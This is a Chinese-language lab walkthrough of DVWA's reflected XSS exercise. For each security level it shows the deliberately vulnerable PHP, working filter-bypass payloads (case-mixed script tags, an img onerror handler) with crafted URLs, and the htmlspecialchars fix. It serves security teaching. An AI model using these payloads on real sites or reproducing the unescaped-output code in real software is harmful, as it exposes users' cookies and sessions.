DVWA V1.9:Reflected Cross Site Scripting(反射型XSS)
反射型 XSS 介绍
“跨站点脚本(XSS)”攻击是一种注入问题,其中恶意脚本被注入到其他良性的和可信的网站中。
当攻击者使用Web应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的最终用户时,会发生XSS攻击。
允许这些攻击成功的缺陷非常普遍,并且在Web应用程序的任何地方使用来自用户的输入在输出中发生,而不验证或编码它。
攻击者可以使用XSS向恶意的用户发送恶意脚本。
终端用户的浏览器没有办法知道脚本不应该被信任,并且将执行JavaScript。
因为它认为脚本来自可信来源,恶意脚本可以访问任何cookie、会话令牌或浏览器保留的其他敏感信息,并与该站点一起使用。
这些脚本甚至可以重写HTML页面的内容。
因为它是一个反射的XSS,恶意代码不存储在远程Web应用程序中,所以需要一些社会工程(例如通过电子邮件/聊天的链接)。
Low 级别
核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
官方提示
低电平将不检查请求输入,然后将其包含在输出文本中使用。
Spoiler: ?name=<script>alert("XSS");</script>.
漏洞利用
输入<script>alert(/xss/)</script>,成功弹框:
所构造出的xss链接
http://43.247.91.228:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#
Medium 级别
核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的《script》删除,这种防护机制是可以被轻松绕过的。
官方提示
开发人员试图添加一个简单的模式匹配来删除对 《script》 的任何引用,以禁用任何JavaScript。
Spoiler: Its cAse sENSiTiVE.
漏洞利用
输入<sCRipt>alert(/xss/)</sCRipt>,成功弹框:
所构造出的xss链接
http://43.247.91.228:81/vulnerabilities/xss_r/?name=%3CsCRipt%3Ealert%28%2Fxss%2F%29%3C%2FsCRipt%3E#
High 级别
核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
官方提示
开发人员现在相信他们可以通过删除模式 “<scrip*t” 来禁用所有JavaScript
Spoiler: HTML events.
漏洞利用
虽然无法使用《script》标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
输入<img src=1 onerror=alert(/xss/)>,成功弹框:
所构造出的xss链接
http://43.247.91.228:81/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#
Impossible 级别
核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素。
官方提示
使用内置PHP函数(如htmlspecialchars()“”它可以逃避任何会改变输入行为的值。